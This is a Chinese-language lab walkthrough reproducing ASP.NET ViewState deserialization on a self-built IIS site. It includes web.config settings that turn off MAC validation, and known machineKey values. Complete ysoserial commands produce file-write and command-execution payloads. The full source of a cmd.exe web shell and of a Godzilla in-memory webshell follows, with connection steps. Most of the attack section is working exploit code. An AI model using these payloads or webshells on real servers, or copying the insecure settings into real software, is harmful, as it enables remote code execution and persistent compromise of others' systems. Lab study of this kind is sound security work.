简单ViewState反序列化漏洞复现

漏洞环境搭建

文件编译

hello.aspx文件内容:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="hello.aspx.cs" Inherits="ViewStateTest.hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox ID="TextArea1" TextMode="MultiLine" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" CssClass="btn"/>
        <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

hello.aspx.cs文件内容:

using System;
using System.Web.UI;
​
namespace ViewStateTest
{
    public partial class hello : Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
        }
​
        protected void Button1_Click(object sender, EventArgs e)
        {
            Label1.Text = TextArea1.Text;
        }
    }
}

使用Visual Studio创建项目,项目模板选择ASP.NET Web应用程序(.NET Framework)

如果找不到,就到到工具获取工具和功能选项

找到模板后,新建项目,填入项目名称项目地址

项目新建完成后,右键项目添加新建项

新建项选择Web窗体,填入自己想要新建的aspx文件名称(这里我填入的是hello.aspx)

新建项完成后,把上面的hello.aspx和hello.aspx.cs文件内容复制到对应的文件当中。

hello.aspx.designer.cs这个文件不用怎么管。

这些都完成后,右键项目选择发布,发布到文件中

选择发布文件位置,自定义发布位置。

发布后获得的文件:

iis服务器搭建

这里选择Windows虚拟机作为IIS服务器,服务器安装相关功能。

安装功能完成后,打开管理工具

打开IIS管理器

打开IIS管理器后,右键网站然后添加网站

端口如果被占用,可以更换其他的端口。

然后把上面发布的文件,放入设置好的网站根目录当中。

然后访问设置好的IP和端口来访问服务

修改web.config

将web.config内容修改为一下内容

<?xml version="1.0" encoding="utf-8"?>
<!--
  有关如何配置 ASP.NET 应用程序的详细信息,请访问
  https://go.microsoft.com/fwlink/?LinkId=169433
-->
<configuration>
  <system.web>
    <customErrors mode="Off" /> <!-- 关闭自定义错误,显示详细错误信息 -->
    <pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Never" enableEventValidation="false" />
  </system.web>
</configuration>
<!--ProjectGuid: F64DEF95-589F-443D-9A5C-F0E99716F652-->

漏洞复现

发送内容使用burp进行抓包

使用工具ysoserial生成恶意的ViewState载荷,然后替换请求包中的ViewState进行发包请求。

.\ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo testtesttest > C:\ProgramData\testtest.txt"

替换ViewState时记得对生成的恶意载荷进行URL编码

执行后虽然返回500,但是查看目标服务器中已经成功创建测试文件

注意

如果在进行请求时看到一下的情况,是ViewState的ViewStateMAC验证没有关闭。

具体关闭方法可以查看对应的.NET Framework版本来进行关闭,可以从报错中查看版本。

ViewState加密的反序列化

漏洞环境搭建

三个文件login.aspx、login.aspx.cs、web.config的内容如下

login.aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="WebApplication3.Login" %>
 
<!DOCTYPE html>
 
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/><br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

login.aspx.cs:

using System;
​
namespace WebApplication3
{
    public partial class Login : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
        }
        protected override void OnInit(EventArgs e)
        {
            base.OnInit(e);
        }
        protected void Button1_Click(object sender, EventArgs e)
        {
            Label1.Text = TextArea1.Text.ToString();
        }
    }
}

跟上面未加密的一样发布导出后修改web.config的内容,web.config修改后:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.web>
    <pages enableEventValidation="false">
      <!-- 其他配置项 -->
    </pages>
    <compilation debug="true" targetFramework="4.5.2" />
    <httpRuntime targetFramework="4.5.2" />
      <machineKey validationKey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" 
                  decryptionKey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" validation="SHA1" decryption="AES"  />
  </system.web>
  <system.codedom>
    <compilers>
      <compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" />
      <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\&quot;Web\&quot; /optionInfer+" />
    </compilers>
  </system.codedom>
</configuration>

你也可以直接修改第一个漏洞复现的web.config。来查看Viewstate是不是被加密了。具体如下:

可以看到Viewstate更复杂了,并且burp插件不能解码查看了:

漏洞利用

前提是已知web.config的内容,并进行如下利用。

写入文件

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties  -c "echo 123 > c:\windows\temp\test.txt" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"

可以看到文件已经写入到目标服务器上

命令执行

命令执行需要执行两步,第二步才可以进行命令执行。

第一步

微软曾因ActivitySurrogateSelector利用链的出现而加了一些patch,所以先打一次ActivitySurrogateDisableTypeCheck利用链来解决patch的问题

[参考地址]  https://www.cnblogs.com/zpchcbd/p/15112047.html 

 .\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug

第二步

需要在ysoserial.exe同文件夹下创建一个ExploitClass.cs,ExploitClass.cs内容:

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

会与工具本来带的文件重名,可以修改或者备份原来的文件名

然后执行命令生成恶意载荷

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug

替换ViewState并在请求体中添加cmd参数:

注入内存马

这个在这个漏洞环境下应该也要执行两步,跟上述命令执行一样,只不过这里是命令执行后再进行内存马注入,所以这里省略了第一步。

需要在ysoserial.exe同文件夹下创建一个cs文件,Godzilla.cs内容:

class d
{
    public d()
    {
        System.Web.HttpContext Context = System.Web.HttpContext.Current;
        Context.Server.ClearError();
        Context.Response.Clear();
        try
        {
            string key = "3c6e0b8a9c15224a";
            string pass = "pas";
            string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");
            byte[] data = System.Convert.FromBase64String(Context.Request[pass]);
            data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
            if (Context.Session["payload"] == null)
            {
                Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
            }
            else
            {
                System.IO.MemoryStream outStream = new System.IO.MemoryStream();
                object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
                o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();
                byte[] r = outStream.ToArray();
                Context.Response.Write(md5.Substring(0, 16));
                Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));
            }
        }
        catch (System.Exception) { }
        Context.Response.Flush();
        Context.Response.End();
    }
}

然后跟上面的一样就是生成恶意ViewState的值,然后发送请求

连接webshell,这里的连接地址:http://192.168.102.131:8081/login.aspx,密码是pas密钥是key

然后配置请求配置,在左边追加数据中填入如下整个请求体然后在请求体的结尾加上&符号

通过走burp进行连接测试查看请求数据包

:在配置请求配置时,在向左边追加数据,填入恶意请求体的最后加&符号是为了连接最后的webshell的请求验证

连接并执行命令:

参考连接

https://www.cnblogs.com/zpchcbd/p/15112047.html

https://mp.weixin.qq.com/s/GObZytk2VJKv9LbhjGGIXg

https://www.lmboke.com/archives/guan-yu-viewstatefan-xu-lie-hua-lou-dong-hou-shen-tou

https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html